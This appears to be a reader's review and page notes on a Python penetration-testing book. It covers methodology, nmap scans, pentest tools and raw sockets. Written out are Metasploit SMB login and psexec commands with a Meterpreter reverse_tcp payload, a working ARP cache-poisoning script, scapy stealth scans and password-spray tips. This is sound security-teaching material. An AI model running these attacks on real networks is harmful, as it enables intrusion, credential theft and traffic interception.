Thoughts:
This is a longer, three-in-one style, book. The modules build on each other in
a typical fashion. Overall I think there is a lot of interesting stuff here,
but it also lacks depth in many places. Metasploit, for example, is used
frequently, but there is no detailed instructions on metasploits functionality.
While this would be a whole book in and of itself, I still think some of the
cookie-cutter, cookbook module could be replaced with a closer look at some of
the tools. If nothing else, it is a good book for the intermediate, but
includes too little beginner and advanced information.
Actually, the packet dissection is fairly detailed. I'm probably not being
fair, since I already understand a lot of this I could get through it fast, if
you are a beginner this is probably much better than I make it out to be.
The introduction starts off very basic, discussing what penetration testing is
and some of the various methodologies one can follow: Open Source Security
Testing Methodology Manual (OSSTMM), Open Web Application Security Project
(OWASP) for web assessments, or the National Institute of Standards and
Technology (NIST) Special Publication 800-115 Technical Guide to Information
Security Testing and Assessment.
It then discusses various testing environments, for example black, white, or
gray box testing, where how much information is available at the start of an
analysis. Black box being no information, as in the real world, and white box
being total information. Gray is, of course, somewhere in the middle. Why would
you want to give your testers information that an outside hacker might not have
access to, at least initially? To save time and expense.
Next it discusses information gathering, the reconnaissance. This is where most
of your time will probably be spent, probing, poking, learning how the network
is set up. Even before this you might engage in open source intelligence,
finding out what you can about the target without ever touching the target.
Google and tools like recon-ng and theharvester can extract a great deal of
publicly available information. Later Shodan is covered.
From here there is a whirlwind tour of some of the popular tools you'll be
exposed to: metasploit, whois, hashcat, responder, the classic netcat, and a
whole host of others. Each is provided with the briefest overview, but the list
itself allows for follow-up self-study.
The last part of the introduction includes online repositories, like Shodan, as
well as some stats on vulnerabilities. These stats are likely understatements
and should be taken with a grain of salt. They are, after all, self-reported.
Who expects companies to be forthcoming about their security faux pas?
Finally we get into some technical aspects. First the basics of access points,
TCP, network addressing, and the like, are covered. This is followed up by the
first tool you'll ever learn, nmap. Luckily it goes into detail about most of
nmap's functionality, listing and examining the differences between many useful
scans.
From here it shows, not well enough I'd say, examples of how you'd use the
addresses, potential targets, found through an nmap scan to mount an attack
using metasploit. I suppose the basic examples they use could be nice to
someone with no experience, giving them a sense of accomplishment, thrill if
you will, of a first exploit, however unrealistic the example might be.
Next, the first taste of python is provided with a rundown of how to build your
own scanner using the nmap library. Really the scans are still done with nmap,
but it allows you to completely customize how nmap will act. Later a lower
level version will be designed using scapy.
The most common types of attacks are then enumerated with simple examples of
each. These include dictionary and brute force attacks on SSH servers as well
as SQL injection and XSS using web application testing tools like Burp Suite.
Somewhat out of place, in my opinion, is the more advanced topic of creating an
exploit using the Immunity debugger. This is probably one of the more
interesting parts of the book. It is, again, not covered in detail, but
provides another path for further study.
The first module finishes off with a boring, but critically important, aspect:
reports. You will collect so much information that you need some way to
organize it and if you are doing professional work, you'll also need some way
to present it in an understandable format. Grep, parsing, and file formats like
csv, xml, and html are all covered.
Module 2 expands on module 1 first by developing a lower level scanner. Instead
of using the nmap library, sockets are used. There are a few iterations that
build to versions that construct your own packets, culminating with the use of
scapy to simplify the process.
Now that you can handle packets and raw sockets, the next development is a tool
that can poison ARP cache.
Other programs include extending the scanner to grab banners as well as how to
automate SQL injection and XSS testing and execution without the need for third
party applications like Burp.
Module 3 is set up as a cookbook, my least favorite style. It opens with a
discussion on Shodan, which, while expensive now-a-days, is really worth it.
There are simple programs presented that allow for web header manipulation,
image manipulation as used in steganography, and a high level view of
encryption, encoding, and hashing. As usual, none of these are covered in
detail.
In the final analysis the book is good to get you started, to give you an
overview of the many paths you might take. Metasploit and scapy, for example,
are barely touched on; either of these projects have numerous books focusing on
only them.
On the other hand, it is neat to see functionality provided by things like nmap
or burp suite done in python. This gives you a better understanding of the
underlying mechanics, most of which are downright simple. Even if the python
implementations lack the bells and whistles, the core concepts remain.
Further Reading
-
http://pen-testing.sans.org/retrieve/netcat-cheat-sheet.pdf
-
This script can be found at https://raw.githubusercontent.com/
funkandwagnalls/pythonpentest/master/nmap_scannner.py.
-
http://www.cvedetails.com/, which not only references vulnerabilities, it
also points to locations where exploits can be found.
-
A github repository for the module can be found at https://github.
com/funkandwagnalls/pythonpentest or https://github.
com/PacktPublishing/Python-Penetration-Testing-for-Developers and within it is
a setup file that can be run to install all the necessary packages, libraries,
and resources.
-
There are several examples that show how to set up other backdoors on a
system, as highlighted at http://pentestmonkey.net/cheat-
sheet/shells/reverse-shell-cheat-sheet.
-
The PE can be better understood from the following two older articles,
Peering Inside the PE: A Tour of the Win32 Portable Executable File Format,
found here https://msdn.microsoft.com/en-us/magazine/ ms809762.aspx, and An
In-Depth Look into the Win32 Portable Executable File Format, found here
https://msdn.microsoft.com/ en-us/magazine/cc301805.aspx.
-
Python has a fantastic library, called libnmap, that can be used to run and
schedule scans and even help parse output files to generate reports. More
details on this can be found at https://libnmap. readthedocs.org/en/latest/.
-
Shodan is essentially a vulnerability search engine. ... database is
searchable from the Shodan website (https:// www.shodan.io), the results and
services reported on are limited, unless you access it through the Application
Programming Interface (API).
-
Wechall, the web app challenge website
Notes:
Table of Contents
Module 1: Learning Penetration Testing with Python
1_01: Understanding the Penetration Testing Methodology
1_02: The Basics of Python Scripting
1_03: Identifying Targets with Nmap, Scapy, and Python
1_04: Executing Credential Attacks with Python
1_05: Exploiting Services with Python
1_06: Assessing Web Applications with Python
1_07: Cracking the Perimeter with Python
1_08: Exploit Development with Python, Metasploit, and Immunity
1_09: Automating Reports and Tasks with Python
1_10: Adding Permanency to Python Tools
Module 2: Python Penetration Testing Essentials
2_01: Python with Penetration Testing and Networking
2_02: Scanning Pentesting
2_03: Sniffing and Penetration Testing
2_04: Wireless Pentesting
2_05: Foot Printing of a Web Server and a Web Application
2_06: Client-side and DDoS Attacks
2_07: Pentesting of SQLI and XSS
Module 3: Python Web Penetration Testing Cookbook
3_01: Gathering Open Source Intelligence
3_02: Enumeration
3_03: Vulnerability Identification
3_04: SQL Injection
3_05: Web Header Manipulation
3_06: Image Analysis and Manipulation
3_07: Encryption and Encoding
3_08: Payloads and Shells
3_09: Reporting
Module 1: Learning Penetration Testing with Python
page 7:
-
There is a variety of assessment methodologies related to penetration
testing. Examples of some methodologies include the Open Source Security Testing Methodology Manual (OSSTMM), the
Open Web Application Security Project (OWASP) for web assessments, the National
Institute of Standards and Technology (NIST) Special Publication 800-115
Technical Guide to Information Security Testing and Assessment, and the
PTES. The methodology that we will focus on in this module is the PTES
because it is a solid resource for new assessors.
-
The PTES has seven different phases, namely Pre-engagement Interactions,
Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation,
Post Exploitation, and Reporting.
page 12:
- A Black Box test is often part of a Double Blind test, which is also known as
an assessment that is not only a test of their environment but also the
monitoring and incident response capabilities of the organization.
page 13:
- During this phase [intelligence gathering] of the
engagement, an assessor will use registries such as the American Registry of
Internet Numbers (ARIN) or other regional registries, information repositories
query tools such as WhoIs, Shodan, Robtex, social media sites, and tools like
Recon-ng and the Google Hacking Database (GHDB).
page 15:
-
Verizon Data Breach Investigation Report (DBIR). The Verizon DBIR uses
reported compromises and aggregates the results to attribute, by market, the
types of incidents that are the most frequently identified. ... download a
current version from http://www.verizonenterprise.com/DBIR/
-
The great secret of penetration testing, which is usually not relayed in
movies, magazines, and/or books, is that penetration testing is primarily
research, grinding, and report writing. If I had to gauge the average
percentage of time that a good new assessor spends during an engagement, 70
percent would be on research or grinding to find applicable targets or a viable
vulnerability, 15 percent on communication with the client, 10 percent on
report writing, and 5 percent on exploitation.
page 17:
- A pivot is the method of taking advantage of a new position during an
assessment to assess resources that are normally not accessible. Most people
equate pivoting to setting up a route in Metasploit, but it also relates to
attacking or assessing resources from a different compromised device.
page 22:
- // Start of rundown of tools.
page 29:
- You can create a test hash with a password that you like from websites such
as http://www.tobtu.com/lmntlm.php.
page 30:
-
The version of oclHashcat that supports cracking without GPU is called
Hashcat. This cracking tool is quickly surpassing John when it comes to
password cracking, but it takes a good bit more research and training to use.
As you gain experience you should move to cracking with Hashcat or oclHashcat.
-
Mimikatz and Incognito, These tools both can work natively within a
Meterpreter session, and each provides a means to interact and take advantage
of a session on a Windows host. Incognito allows an assessor to interact with a
token in memory by impersonating the user's cached credentials. Mimikatz allows
an assessor to directly extract the credentials stored in memory, which means
that the username and password are directly exposed. Mimikatz has the
additional ability to run against memory dumps offline produced with tools such
as SysInternals ProcDump.
page 31:
- Responder is a Python script that provides assessors the ability to redirect
proxy requests to an attacker's system through a misconfiguration of Web Proxy
AutoDiscovery (WPAD). It can also receive network NTLM or NTLMv2 challenge
response hashes. This is done by taking advantage of the natively enabled Local
Link Multicast Name Request (LLMNR) and Network Basic Input Output System
(NetBIOS) Name Service (NB-NS).
page 32:
-
Responder attacks have become a mainstay in most internal assessments. WPAD,
LLMNR, and NB-NS are rampant misconfigurations in most environments and should
be assessed when possible.
-
Recon-NG is often the first tool that assessors go to now. Recon-NG has not
replaced theHarvester, but theHarvester is often not used unless Recon-NG has
not found sufficient details.
-
SANS Institute has a fantastic cheat sheet for netcat that highlights the
majority of its capabilities, which can be found at the following URL:
http://pen-testing.sans.org/retrieve/netcat-cheat-sheet.pdf
page 33:
- It should be noted that these tools [Sysinternals tools] are used by
administrators and are typically white-listed.
page 47:
- I recommend adding a comment to them. I typically use a simple #DEBUG
comment, as shown here:
| print(variable_name) #DEBUG
|
- This will allow you to quickly search for and delete the #DEBUG line. In vi
or vim, this is very simple—by first pressing Esc, then pressing :, and then
executing the following command, which searches for and deletes the entire
line:
- If you wanted to temporarily comment out all of the #DEBUG lines and delete
them later, you can use the following:
page 77:
page 78:
- Access Points (AP) that are differentiated by Basic Service Set Identifiers
(BSSIDs), which is a fancy name for the MAC address of the AP.
page 79:
-
Once you are associated and authenticated into the network through the AP,
you are part of the Basic Service Set (BSS) or the component of the enterprise
network, but are limited to the range of the AP.
-
If you move into a wireless network and associate with a new AP because the
signal is better, you will be part of a new BSS. All BSS are part of the
Enterprise Service Set (ESS); interestingly enough, if the wireless network
contains more than one AP, it is an ESS. To be able to communicate with
wireless engineers, you must understand that if you are in an enterprise
wireless network, the SSID is actually known as an Enterprise SSID (ESSID). Now
that you have an understanding of layer 2 headers, it's time to look at IP
headers.
page 80:
page 81:
- The TCP handshake is also known as the three-way handshake. The meaning of
this is that three messages are sent back and forth between two systems before
a communication socket is established. These three messages are SYN, SYN-ACK,
and ACK.
page 82:
- Each scan has a different purpose, and specific flags elicit different
responses from operating systems depending on whether they are received out of
order or not. The nmap port scanning techniques web page at
http://nmap.org/book/man-port-scanning- techniques.html details this
information succinctly.
page 84:
-
The four scans you primarily use are the TCP connection scan (also known as
the full-connection scan), the SYN scan (also known as the half-open or stealth
scan), the ACK scan, and the UDP scan.
-
The TCP connection scan is one of the loudest or easiest to detect scans nmap
has, but it is also one of the best for eliminating false positives.
-
The TCP connect scan may provide the most accurate results, but automatic
shunning mechanisms often block the source of the scan at the Internet Service
Provider (ISP). To execute a TCP scan, all you have to do is indicate the
associated scan type with -sT, as seen here:
| nmap -sT -vvv -p 80 192.168.195.0/24
|
- I have assessed many an organization, which could be scanned with full
connection scans only, as they would immediately shun the connection if an SYN
scan was executed. The trick is to know your target and how advanced their
environment is. Much of this can be determined during the pre-engagement
phases.
page 85:
-
SYN scans are a type of TCP scan, and they are the most prominent scans you
will probably run during your engagements. The reason is that they are much
faster than TCP connection scans, and much quieter. However, they are not
suitable for environments with extremely old or sensitive equipment types.
-
SYN scans are simply executed using the -sS flag, as shown here:
| nmap -sS -vvv -p 80 192.168.195.0/24
|
-
ACK scans are the rarest of the three TCP scan types, and they may not be as
directly useful as you think. Let's see when you would use an ACK scan. It is a
slow scan, so you would use it if an SYN or TCP scan does not provide you with
the results you needed.
-
So where are ACK scans useful? People often ask this, and the answer is,
"Firewalls." ACK scans are great for mapping firewall rule sets. Some systems
react very strangely to ACK scans and provide additional data in return, so
make sure you have tcpdump running on either an inline tap or on your system
when you execute the ACK scan. The following is an example of how to execute an
ACK scan. Run the command as follows:
| nmap -sA -vvv -p80 192.168.195.0/24
|
page 86:
- To execute a UDP scan, all that is needed is the flag for the scan set to
-sU, as shown here:
| nmap -sU -vvv -p161 192.168.195.0/24
|
page 87:
- To execute a combined scan, all that is needed is to flag the two types of
scans you want to use and itemize the ports you want to scan for each protocol.
This is done by providing the -p option, followed by U: for the UPD ports and
the T: for the TCP ports. See the following example, which highlights only a
few ports for the sake of brevity:
| nmap -sS -sU -vvv -p U:161,139 T:8080,21 192.168.195.0/24
|
page 87:
page 88:
- Nmap has four output types, and they are extremely useful depending on the
situation. They are to the screen, STDOUT, or to three different file types.
These file types have different purposes and advantages. There is the nmap
output, which looks identical to STDOUT but just in a file; this is done with
-oN. Then, there are the Grepable and eXtensible Markup Language (XML) outputs,
described as follows. All outputs can be produced at the same time using the
-oA flag.
page 89:
-
The Grepable output can be executed by tagging the -oG flags.
-
So, you can extract these details by executing commands such as the
following:
| cat nmap_scan.gnmap | grep 445/open/tcp | cut -d" " -f2 >>
/root/Desktop/smb_hosts_list
|
- The example shows a Grepable file being pushed to STDOUT and then piped to
grep, which searches for open 445 ports. This can be done with grep and cut
only, but it is very easy to read and understand. Once the ports are found, cut
extracts the IP addresses and pushes them to a flat file known as
smb_hosts_lists. If you look at the nmap_scan.gnmap file, you would potentially
see lines that contain details such as these:
| Host: 192.168.195.112 () Ports: 445/open/tcp/
|
-
As you can see, the line contains the 445/open/tcp detail, which allows us to
target that specific line. We then cut using the space as a delimitating key
and select field two, where, if you count the data fields by spaces, you find
the IP address. This technique is very common and is useful for quickly
identifying what is open by the IP address and creating multiple flat files
based on the service or port.
-
As shown in Chapter 1, Understanding the Penetration Testing Methodology, you
use the rhosts field in the Metasploit modules to target hosts by CIDR notation
or range. When you create flat files, you can use Metasploit modules to hit a
list of hosts instead by referencing the flat file.
page 90:
| use auxiliary/scanner/smb/smb_login
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set RHOSTS file:/root/Desktop/smb_hosts_list
run
|
-
If you are attacking with a local account, you should set the domain to
workgroup. When attacking a domain account, you should set the domain to the
actual domain of the organization.
-
Metasploit Professional is a tool that helps optimize penetration testing
efforts and it has a web Graphical User Interface (GUI). Metasploit pro
provides a lot of great features, but if you need to pivot through multiple
network tiers protected by firewalls, the console is the best option. To learn
how to execute an automatic pivot, you can find the details at
https://www.offensive-security.com/metasploit- unleashed/pivoting/. To learn
how to execute a manual pivot, refer to
https://pen-testing.sans.org/blog/2012/04/26/ got-meterpreter-pivot, which
covers port-based pivoting, manual routing, and SOCKS proxies.
-
This method of attack is very common; you find out the credentials, identify
the services the credentials may work on, and then build flat files to target
hosts. Next, you reference those flat files to check the hosts for a
vulnerability. Once you have verified those hosts as vulnerable, you can
exploit them with Pass-the-Hash (PtH) using a Process Execution (PSEXEC) attack
(if you had the hash) or a standard- credentialed PSEXEC, as shown in the
following code:
| msfconsole
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.195.112
set LPORT 443
exploit -j
|
- PtH is an attack that takes advantage of a native Windows weakness related to
how systems authenticate on a network. Instead of requiring a
Challenge/Response authentication method, the hashed password can be passed
directly to the host. This means that you do not have to crack the Local Area
Network Manager (LM) or New Technology LM (NTLM) hashes. Many Metasploit
modules can use either credentials or hashes against SMB services.
page 93:
-
More details about nmap scripts can be found at http://nmap.org/
book/man-nse.html. Specific details about nmap scripts can be found at
http://nmap.org/nsedoc/, along with their purposes and category associations.
-
Scripts can be called by the category they are part of or removed from the
categories you do not want them to be part of. As an example, you can see that
the following command runs the nmap tool with all default or safe scripts that
do not start with http-:
| nmap --script "(default or safe) and not http-*" <target IP>
|
page 94:
-
Nmap has a built-in capability that lets you target the statistically more
common ports using the --top-ports option and then follow it up with a number.
As an example, you could look for the top 10 ports using the --top-ports 10
option.
-
if you have a default gateway of 192.168.1.1 and your subnet is 255.255.255.0
or /24, you should check for other default gateways from 192.168.2.1 to
192.168.255.1. As you ping each default gateway, if it responds, you know that
there are likely live hosts in that subnet. This can be done easily with
well-known bash for loop:
| for i in `seq 1 255`; do ping -c 1 192.168.$1.1 | tr \\n ' ' | awk '/1
received/ {print $2}'; done
|
page 96:
page 98:
| scanner = nmap.PortScanner()
scanner.scan(addrs, ports)
for host in scanner.all_hosts():
if not scanner[host].hostname():
print("The host's IP address is %s and it's hostname was not found") % (host)
else:
print("The host's IP address is %s and it's hostname is %s") % (host, scanner[host].hostname())
|
- This script can be found at https://raw.githubusercontent.com/
funkandwagnalls/pythonpentest/master/nmap_scannner.py.
page 103:
page 105:
page 116:
page 135:
-
To establish a consistent language, you move from one host to another, at the
same privilege level which is called the lateral movement. When you find a
higher level of privilege such as Domain Administrator (DA), this is considered
as a vertical movement or privilege escalation. When you use access to a host
or network area to gain access to the systems that you could not see before,
because of access controls or network segregation, this is called pivoting. Now
that you understand the concepts and the terms, let us pop some boxes.
-
password spray attack. This attack uses one password for many usernames,
which prevents account lockout.
page 136:
- The most common passwords you will find used in the U.S. are Password1,
Password123, the Season and the Year such as Summer2015, and some manipulation
of the company name or username you are testing. To this day, I have found some
form or shape of weak or default password on every engagement. If you watch or
read about any of the major breaches, weak, default, or known passwords were a
component of all of them. Also, note that all of these passwords would meet the
Windows Active Directory password complexity requirements as shown here at
https://technet.microsoft.com/en-us/library/ hh994562%28v=ws.10%29.aspx.
page 137:
- A command shell does not allow for the use of interactive commands, where a
terminal does. Exploitation of the SSH service via a SSH client provides
terminal access, while the Metasploit module ssh_login provides command shell
access. So, a terminal is preferred when possible as in the following example.
page 139:
-
This means we need to elevate our privileges locally to gain access to the
file; in Linux this can be done in one of the four primary ways. The easiest
way is to find stored usernames and passwords on the host, which is very common
on Linux or UNIX servers. The second way, which requires no exploits to be
brought into the system is by manipulating files, inputs, and outputs that have
improper use of Sticky bits, Set User Identifier (SUID), and Globally Unique
Identifier (GUID). The third is by exploiting a vulnerable version of the
Kernel.
-
The fourth method is the most overlooked manner to gain access to these
files, and that is by misconfigured sudo access. All you have to do is execute
sudo su -, which instantiates a session as root. The following shows that this
as an example of simply gaining root access to a system:
-
http://www.cvedetails.com/, which not only references vulnerabilities, it
also points to locations where exploits can be found.
page 151:
-
This exploit train is relatively simple, but we can automate a portion of
this with the Metasploit Remote Procedure Call (MSFRPC). This script will use
the nmap library to scan for active ports of 445, then generate a list of
targets to test using a username and password passed via argument to the
script. The script will use the same smb_enumusers_domain module to identify
boxes that have the credentials reused and other viable users logged into them.
First, we need to install SpiderLabs msfrpc library for Python. This library
can be found at https://github.com/ SpiderLabs/msfrpc.git.
-
A github repository for the module can be found at https://github.
com/funkandwagnalls/pythonpentest or https://github.
com/PacktPublishing/Python-Penetration-Testing-for-Developers and within it is
a setup file that can be run to install all the necessary packages, libraries,
and resources.
page 157:
- Metasploit has moved to msgrpc verses msfrpc, but everyone still refers to it
as msfrpc.
page 174:
- Some of the best SQLi lists for common injection types for each database
instance can be found at http://pentestmonkey.net/category/
cheat-sheet/sql-injection. Equally good XSS lists are available at
https://www.owasp.org/index.php/XSS_Filter_Evasion_ Cheat_Sheet. Some of these
details are also built into Burp Suite, as highlighted at
https://support.portswigger.net/customer/
portal/articles/1783128-Intruder_Common%20Uses.html.
page 178:
-
the primary example of exposed services today are web applications.
-
There are several examples that show how to set up other backdoors on a
system, as highlighted at http://pentestmonkey.net/cheat-
sheet/shells/reverse-shell-cheat-sheet.
page 201:
- The PE can be better understood from the following two older articles,
Peering Inside the PE: A Tour of the Win32 Portable Executable File Format,
found here https://msdn.microsoft.com/en-us/magazine/ ms809762.aspx, and An
In-Depth Look into the Win32 Portable Executable File Format, found here
https://msdn.microsoft.com/ en-us/magazine/cc301805.aspx.
page 249:
- // Libraries to help parse xml and interact with
Excel.
page 277:
- Finally, the following code uses the map function, which calls the
host_request function as it iterates through the list of targets. The map
function allows a multiprocessing script to queue work in a manner similar to
the previous multithreaded script.
| # Establish pool list
pool = multiprocessing.Pool(processes=threads, initializer=log_init(log))
# Queue up the targets to assess
results = pool.map(host_request, targets_list)
for result in results:
for value in result:
print(value)
|
- If you wanted to be more specific, another manner would be to determine the
number of CPU and double it to determine the number of processes. This could be
accomplished as follows: processes = multiprocessing.cpu_count() *2.
Module 2: Python Penetration Testing Essentials
page 289:
-
s = socket.socket (socket_family, socket_type, protocol=0)
-
socket_family: socket.AF_INET, PF_PACKET
-
AF_INET is the address family for IPv4. PF_PACKET operates at the device
driver layer. The pcap library for Linux uses PF_PACKET.
-
Socket_type : socket.SOCK_DGRAM, socket.SOCK_RAW,socket.SOCK_STREAM
-
The socket.SOCK_DGRAM argument depicts that UDP is unreliable and
connectionless, and socket.SOCK_STREAM depicts that TCP is reliable and is a
two-way, connection-based service. We will discuss socket.SOCK_RAW in Chapter
3, Sniffing and Penetration Testing.
-
protocol, Generally, we leave this argument; it takes 0 if not specified.
page 290:
-
Server socket methods:
-
socket.bind(address)
: This method is used to connect the address (IP address,
port number) to the socket. The socket must be open before connecting to the
address.
-
socket.listen(q)
: This method starts the TCP listener. The q argument defines
the maximum number of lined-up connections.
-
socket.accept()
: The use of this method is to accept the connection from the
client. Before using this method, the socket.bind(address) and
-
socket.listen(q)
methods must be used. The socket.accept() method
returns two values: client_socket and address, where client_socket is a
new socket object used to send and receive data over the connection, and
address is the address of the client. You will see examples later.
-
Client socket methods:
-
socket.connect(address)
: This method connects the client to the server. The
address argument is the address of the server.
-
General socket methods:
-
socket.recv(bufsize)
: This method receives a TCP message from the socket. The
bufsize argument defines the maximum data it can receive at any one time.
-
socket.recvfrom(bufsize)
: This method receives data from the socket. The
method returns a pair of values: the first value gives the received data, and
the second value gives the address of the socket sending the data.
-
socket.recv_into(buffer)
: This method receives data less than or equal to
buffer. The buffer parameter is created by the bytearray() method. We will
discuss it in an example later.
-
socket.recvfrom_into(buffer)
: This method obtains data from the socket and
writes it into the buffer. The return value is a pair (nbytes, address), where
nbytes is the number of bytes received, and the address is the address of the
socket sending the data.
-
Be careful while using the socket.recv from_into(buffer) method in older
versions of Python. Buffer overflow vulnerability has been found in this
method. The name of this vulnerability is CVE-2014-1912, and its vulnerability
was published on February 27, 2014. Buffer overflow in the socket.recvfrom_into
function in Modules/socketmodule.c in Python 2.5 before 2.7.7, 3.x before
3.3.4, and 3.4.x before 3.4rc1 allows remote attackers to execute arbitrary
code via a crafted string.
-
socket.send(bytes)
: This method is used to send data to the socket. Before
sending the data, ensure that the socket is connected to a remote machine. It
returns the number of bytes sent.
-
socket.sendto(data, address)
: This method is used to send data to the socket.
Generally, we use this method in UDP. UDP is a connectionless protocol;
therefore, the socket should not be connected to a remote machine, and the
address argument specifies the address of the remote machine. The return value
gives the number of bytes sent.
-
socket.sendall(data)
: As the name implies, this method sends all data to the
socket. Before sending the data, ensure that the socket is connected to a
remote machine. This method ceaselessly transfers data until an error is seen.
If an error is seen, an exception would rise, and socket.close() would close
the socket.
page 293:
page 300:
socket.gethostbyname_ex(name)
: This method converts a hostname to the IPv4
address pattern. However, the advantage over the previous method is that it
gives all the IP addresses of the domain name. It returns a tuple (hostname,
canonical name, and IP_addrlist) where the hostname is given by us, the
canonical name is a (possibly empty) list of canonical hostnames of the server
for the same address, and IP_addrlist is a list all the available IPs of the
same hostname. Often, one domain name is hosted on many IP addresses to balance
the load of the server.
page 301:
-
If you want to know the IP address of all the (local) interfaces, use the
extended interface: socket.gethostbyname_ex(socket.gethostname())
-
socket.getfqdn([name])
: This is used to find the fully qualified name, if
it's available.
page 302:
socket.gethostbyaddr(ip_address)
: This is like a "reverse" lookup for the
name.
page 307:
- Protocol Data Unit (PDU).
| For the application layer, PDU indicates data
For the transport layer, PDU indicates a segment
For the Internet or the network layer, PDU indicates a packet
For the data link layer or network access layer, PDU indicates a frame
For the physical layer, that is, physical transmission, PDU indicates bits
|
page 340:
-
PF_PACKET: It operates at the device driver layer. The pcap library for Linux
uses PF_PACKET sockets. To run this, you must be logged in as a root. If you
want to send and receive messages at the most basic level, below the Internet
protocol layer, then you need to use PF_PACKET.
-
Raw socket: It does not care about the network layer stack and provides a
shortcut to send and receive packets directly to the application. The
following socket methods are used for byte-order conversion:
-
socket.ntohl(x)
: This is the network to host long. It converts a 32-bit
positive integer from the network to host the byte order.
-
socket.ntohs(x)
: This is the network to host short. It converts a 16-bit
positive integer from the network to host the byte order.
-
socket.htonl(x)
: This is the host to network long. It converts a 32-bit
positive integer from the host to the network byte order.
-
socket.htons(x)
: This is the host to network short. It converts a 16-bit
positive integer from the host to the network byte order.
page 341:
page 342:
page 344:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31 | import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
while True:
pkt = s.recvfrom(2048)
ethhead = pkt[0][0:14]
eth = struct.unpack("!6s6s2s",ethhead)
print "--------Ethernet Frame--------"
print "desination mac",binascii.hexlify(eth[0])
print "Source mac",binascii.hexlify(eth[1])
#binascii.hexlify(eth[2])
ipheader = pkt[0][14:34]
ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
print "-----------IP------------------"
print "TTL :", ip_hdr[1]
print "Source IP", socket.inet_ntoa(ip_hdr[1])
print "Destination IP", socket.inet_ntoa(ip_hdr[2])
print "---------TCP----------"
tcpheader = pkt[0][34:54]
#tcp_hdr = struct.unpack("!HH16s",tcpheader)
tcp_hdr = struct.unpack("!HH9ss6s",tcpheader)
print "Source Port ", tcp_hdr[0]
print "Destination port ", tcp_hdr[1]
print "Flag ",binascii.hexlify(tcp_hdr[3])
print pkt[0][54:]
|
page 348:
| import socket
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
sor = '\x00\x0c\x29\x4f\x8e\x35'
des ='\x00\x0C\x29x2E\x84\x7A'
code ='\x08\x00'
eth = des+sor+code
s.send(eth)
|
- ARP (Address Resolution Protocol) is used to convert the IP address to its
corresponding Ethernet (MAC) address. When a packet comes to the Network layer
(OSI), it has an IP address and a data link layer packet that needs the MAC
address of the destination device. In this case, the sender uses the ARP
protocol.
page 349:
page 350:
page 351:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33 | import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
sor = '\x00\x0c\x29\x4f\x8e\x35'
victmac ='\x00\x0C\x29\x2E\x84\x7A'
gatemac = '\x00\x50\x56\xC0\x00\x08'
code ='\x08\x06' #arp protocol
eth1 = victmac+sor+code #for victim
eth2 = gatemac+sor+code # for gateway
htype = '\x00\x01' #arp packet
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'
gate_ip = '192.168.0.1'
victim_ip = '192.168.0.11'
gip = socket.inet_aton (gate_ip) #convert IP to hex
vip = socket.inet_aton (victim_ip)
arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip
arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip
while 1:
s.send(arp_victim)
s.send(arp_gateway)
|
- In the packet crafting section explained previously, you created the Ethernet
frame. In this code, we have used 3 MAC addresses, which are also shown in the
preceding table. Here, we used code ='\x08\x06', which is the code of the ARP
protocol. The two Ethernet packets crafted are eth1 and eth2. The following
line htype = '\ x00\x01' denotes the Ethernet. Everything is in order as shown
in the ARP header, protype = '\x08\x00', which indicates the protocol type;
hsize = '\x06' shows the hardware address size; psize = '\x04' gives the IP
address length; and opcode = '\x00\x02' shows it is a reply packet. The gate_ip
= '192.168.0.1' and victim_ip = '192.168.0.11' statements are the IP addresses
of the gateway and victim respectively. The socket.inet_aton ( gate_ip ) method
converts the IP address to a hexadecimal format. In the end, we assemble the
entire code according to the ARP header. The s.send() method also puts the
packets on the cable.
page 354:
- concept of the half-open scan. The following steps define the stealth scan:
| 1. The client sends an SYN packet to the server on the intended port.
2. If the port is open, then the server responds with the SYN/ACK packet.
3. If the server responds with an RST packet, it means the port is closed.
4. The client sends the RST to close the initiation.
|
page 355:
| from scapy.all import *
ip1 = IP(src="192.168.0.10", dst ="192.168.0.3" )
tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345)
packet = ip1/tcp1
p =sr1(packet, inter=1)
p.show()
rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347)
packet1=ip1/rs1
p1 = sr1(packet1)
p1.show
|
- The first line imports all the modules of scapy. The next line ip1 =
IP(src="192.168.0.10", dst ="192.168.0.3" ) defines the IP packet. The name of
the IP packet is ip1, which contains the source and destination address. The
tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345) statement defines a TCP
packet named tcp1, and this packet contains the source port and destination
port. We are interested in port 80 as we have defined the previous steps of the
stealth scan. For the first step, the client sends an SYN packet to the server.
In our tcp1 packet, the SYN flag has been set as shown in the packet, and seq
is given randomly. The next line packet= ip1/tcp1 arranges the IP first and
then the TCP. The p =sr1(packet, inter=1) statement receives the packet. The
sr1() function uses the sent and received packets but it only receives one
answered packet, inter= 1, which indicates an interval of 1 second because we
want a gap of one second to be present between two packets. The next line
p.show() gives the hierarchical view of the received packet. The rs1 =
TCP(sport =1024, dport=80, flags="R", seq=12347) statement will send the packet
with the RST flag set. The lines following this line are easy to understand.
Here, p1.show is not needed because we are not accepting any response from the
server.
page 358:
-
Sometimes firewalls and Intrusion Detection System (IDS) are configured to
detect SYN scans. In an FIN scan attack, a TCP packet is sent to the remote
host with only the FIN flag set. If no response comes from the host, it means
that the port is open. If a response is received, it contains the RST/ACK
flag, which means that the port is closed.
-
The following is the code for the FIN scan:
| from scapy.all import *
ip1 = IP(src="192.168.0.10", dst ="192.168.0.11")
